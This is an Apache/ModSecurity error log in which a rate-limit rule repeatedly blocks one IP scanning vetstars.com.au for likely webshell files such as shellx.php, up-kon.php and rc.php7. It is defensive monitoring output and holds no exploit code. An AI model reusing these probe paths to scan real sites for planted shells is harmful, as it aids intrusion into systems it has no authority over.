[Mon Apr 13 03:10:28.766325 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:37827] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reune.php"] [unique_id "advuJG9Py-Y-9VQ02eHeCAAAAAw"]
[Mon Apr 13 03:10:30.253613 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:37721] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reune.php"] [unique_id "advuJm9Py-Y-9VQ02eHeDgAAAAI"]
[Mon Apr 13 03:10:31.644961 2026] [:error] [pid 31607:tid 31748] [client 20.151.218.28:37697] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dw.php"] [unique_id "advuJ2jn_I-KYTWngjJNjQAAAIs"]
[Mon Apr 13 03:10:33.296271 2026] [:error] [pid 32010:tid 32022] [client 20.151.218.28:37781] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dw.php"] [unique_id "advuKQ0nq-t9pXyV1fy9wwAAAMo"]
[Mon Apr 13 03:10:34.014735 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:37783] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dw.php"] [unique_id "advuKmyJMmaONUqF0tCqRgAAAQI"]
[Mon Apr 13 03:10:35.017588 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:37794] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dw.php"] [unique_id "advuKw0nq-t9pXyV1fy90AAAANA"]
[Mon Apr 13 03:10:36.037131 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:37779] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "advuLGyJMmaONUqF0tCqSgAAAQc"]
[Mon Apr 13 03:10:37.175094 2026] [:error] [pid 32010:tid 32022] [client 20.151.218.28:37852] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "advuLQ0nq-t9pXyV1fy93QAAAMo"]
[Mon Apr 13 03:10:38.167968 2026] [:error] [pid 54671:tid 54699] [client 20.151.218.28:37842] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "advuLmyJMmaONUqF0tCqUQAAARg"]
[Mon Apr 13 03:10:38.821955 2026] [:error] [pid 54671:tid 54679] [client 20.151.218.28:37850] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "advuLmyJMmaONUqF0tCqVQAAAQQ"]
[Mon Apr 13 03:10:39.717947 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:37828] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellx.php"] [unique_id "advuL2yJMmaONUqF0tCqWwAAAQM"]
[Mon Apr 13 03:10:40.389283 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:37776] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellx.php"] [unique_id "advuMGyJMmaONUqF0tCqXQAAAQ8"]
[Mon Apr 13 03:10:40.956222 2026] [:error] [pid 31606:tid 31711] [client 20.151.218.28:37856] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellx.php"] [unique_id "advuMD9vCsshNhLmCiCNyAAAAEU"]
[Mon Apr 13 03:10:41.572714 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:37798] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellx.php"] [unique_id "advuMWyJMmaONUqF0tCqYAAAARM"]
[Mon Apr 13 03:10:42.595073 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:37788] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/l.php"] [unique_id "advuMg0nq-t9pXyV1fy98gAAANQ"]
[Mon Apr 13 03:10:43.186219 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:37735] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/l.php"] [unique_id "advuM2yJMmaONUqF0tCqZwAAARQ"]
[Mon Apr 13 03:10:44.459787 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:37797] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/l.php"] [unique_id "advuNGyJMmaONUqF0tCqcQAAARA"]
[Mon Apr 13 03:10:47.315384 2026] [:error] [pid 31605:tid 31656] [client 20.151.218.28:37787] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/l.php"] [unique_id "advuN29Py-Y-9VQ02eHeHQAAAA0"]
[Mon Apr 13 03:10:49.121748 2026] [:error] [pid 31607:tid 31744] [client 20.151.218.28:37830] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "advuOWjn_I-KYTWngjJNoQAAAIc"]
[Mon Apr 13 03:10:51.542739 2026] [:error] [pid 31605:tid 31649] [client 20.151.218.28:37705] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "advuO29Py-Y-9VQ02eHeJQAAAAY"]
[Mon Apr 13 03:10:54.329720 2026] [:error] [pid 31607:tid 31757] [client 20.151.218.28:37838] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "advuPmjn_I-KYTWngjJNpwAAAJQ"]
[Mon Apr 13 03:10:55.467147 2026] [:error] [pid 31605:tid 31650] [client 20.151.218.28:37746] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "advuP29Py-Y-9VQ02eHeLQAAAAc"]
[Mon Apr 13 03:10:56.103007 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:37744] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lnexugel.php"] [unique_id "advuQG9Py-Y-9VQ02eHeMAAAAA4"]
[Mon Apr 13 03:10:56.624067 2026] [:error] [pid 32010:tid 32026] [client 20.151.218.28:37763] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lnexugel.php"] [unique_id "advuQA0nq-t9pXyV1fy-DQAAAM4"]
[Mon Apr 13 03:10:57.285131 2026] [:error] [pid 31606:tid 31717] [client 20.151.218.28:37885] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lnexugel.php"] [unique_id "advuQT9vCsshNhLmCiCN3gAAAEs"]
[Mon Apr 13 03:10:57.824071 2026] [:error] [pid 31605:tid 31649] [client 20.151.218.28:37822] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lnexugel.php"] [unique_id "advuQW9Py-Y-9VQ02eHeNgAAAAY"]
[Mon Apr 13 03:10:58.596253 2026] [:error] [pid 31606:tid 31719] [client 20.151.218.28:37820] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/online.php"] [unique_id "advuQj9vCsshNhLmCiCN5AAAAE0"]
[Mon Apr 13 03:10:59.075295 2026] [:error] [pid 31606:tid 31706] [client 20.151.218.28:37720] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/online.php"] [unique_id "advuQz9vCsshNhLmCiCN6QAAAEA"]
[Mon Apr 13 03:10:59.627270 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:37707] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/online.php"] [unique_id "advuQw0nq-t9pXyV1fy-DwAAANQ"]
[Mon Apr 13 03:11:00.280753 2026] [:error] [pid 31607:tid 31760] [client 20.151.218.28:37829] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/online.php"] [unique_id "advuRGjn_I-KYTWngjJNqgAAAJc"]
[Mon Apr 13 03:11:00.743123 2026] [:error] [pid 31607:tid 31751] [client 20.151.218.28:37738] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up-kon.php"] [unique_id "advuRGjn_I-KYTWngjJNrwAAAI4"]
[Mon Apr 13 03:11:01.380579 2026] [:error] [pid 31607:tid 31759] [client 20.151.218.28:37832] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up-kon.php"] [unique_id "advuRWjn_I-KYTWngjJNsQAAAJY"]
[Mon Apr 13 03:11:02.116340 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:37769] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up-kon.php"] [unique_id "advuRg0nq-t9pXyV1fy-FAAAANM"]
[Mon Apr 13 03:11:02.629300 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:37858] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up-kon.php"] [unique_id "advuRmyJMmaONUqF0tCqngAAARA"]
[Mon Apr 13 03:11:03.082938 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:37859] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/word.php"] [unique_id "advuR2yJMmaONUqF0tCqoQAAARc"]
[Mon Apr 13 03:11:03.558524 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:37710] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/word.php"] [unique_id "advuR2yJMmaONUqF0tCqogAAAQw"]
[Mon Apr 13 03:11:04.167503 2026] [:error] [pid 31605:tid 31647] [client 20.151.218.28:37796] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/word.php"] [unique_id "advuSG9Py-Y-9VQ02eHePAAAAAQ"]
[Mon Apr 13 03:11:04.666150 2026] [:error] [pid 54671:tid 54697] [client 20.151.218.28:37731] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/word.php"] [unique_id "advuSGyJMmaONUqF0tCqqQAAARY"]
[Mon Apr 13 03:11:05.139905 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:37866] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "advuSWyJMmaONUqF0tCqrwAAARQ"]
[Mon Apr 13 03:11:05.864740 2026] [:error] [pid 31607:tid 31737] [client 20.151.218.28:37868] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "advuSWjn_I-KYTWngjJNswAAAIA"]
[Mon Apr 13 03:11:06.483340 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:37633] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "advuSmyJMmaONUqF0tCqtAAAAQA"]
[Mon Apr 13 03:11:07.302296 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:37766] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "advuS2yJMmaONUqF0tCqugAAAQY"]
[Mon Apr 13 03:11:08.017722 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:37698] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jcsonquo.php"] [unique_id "advuTGyJMmaONUqF0tCqwAAAAQI"]
[Mon Apr 13 03:11:18.165572 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:37831] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rc.php7"] [unique_id "advuVm9Py-Y-9VQ02eHeUwAAAAw"]
[Mon Apr 13 03:11:19.241947 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:37869] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rc.php7"] [unique_id "advuVw0nq-t9pXyV1fy-NwAAANQ"]
[Mon Apr 13 03:11:20.104353 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:37730] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rc.php7"] [unique_id "advuWGyJMmaONUqF0tCq7AAAAQI"]
[Mon Apr 13 03:11:20.928244 2026] [:error] [pid 31605:tid 31660] [client 20.151.218.28:37812] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rc.php7"] [unique_id "advuWG9Py-Y-9VQ02eHeWQAAABE"]
[Mon Apr 13 03:11:21.397529 2026] [:error] [pid 31605:tid 31654] [client 20.151.218.28:37801] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indo.php"] [unique_id "advuWW9Py-Y-9VQ02eHeXAAAAAs"]
[Mon Apr 13 03:11:22.411925 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:37789] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indo.php"] [unique_id "advuWmyJMmaONUqF0tCq9AAAAQY"]
[Mon Apr 13 03:11:22.980362 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:37845] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indo.php"] [unique_id "advuWmyJMmaONUqF0tCq-QAAARE"]
[Mon Apr 13 03:11:23.527845 2026] [:error] [pid 31606:tid 31710] [client 20.151.218.28:37712] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indo.php"] [unique_id "advuWz9vCsshNhLmCiCOFAAAAEQ"]
[Mon Apr 13 03:11:23.975385 2026] [:error] [pid 31606:tid 31713] [client 20.151.218.28:37807] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rin.php"] [unique_id "advuWz9vCsshNhLmCiCOGQAAAEc"]
[Mon Apr 13 03:11:24.460120 2026] [:error] [pid 31606:tid 31715] [client 20.151.218.28:37711] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rin.php"] [unique_id "advuXD9vCsshNhLmCiCOHgAAAEk"]
[Mon Apr 13 03:11:25.039913 2026] [:error] [pid 31605:tid 31658] [client 20.151.218.28:37715] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rin.php"] [unique_id "advuXW9Py-Y-9VQ02eHeYQAAAA8"]
[Mon Apr 13 03:11:25.594294 2026] [:error] [pid 31607:tid 31746] [client 20.151.218.28:37704] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rin.php"] [unique_id "advuXWjn_I-KYTWngjJN3AAAAIk"]
[Mon Apr 13 03:11:26.099734 2026] [:error] [pid 31606:tid 31709] [client 20.151.218.28:37863] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packages.php"] [unique_id "advuXj9vCsshNhLmCiCOIQAAAEM"]
[Mon Apr 13 03:11:26.747717 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:37777] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packages.php"] [unique_id "advuXm9Py-Y-9VQ02eHeZgAAAAI"]
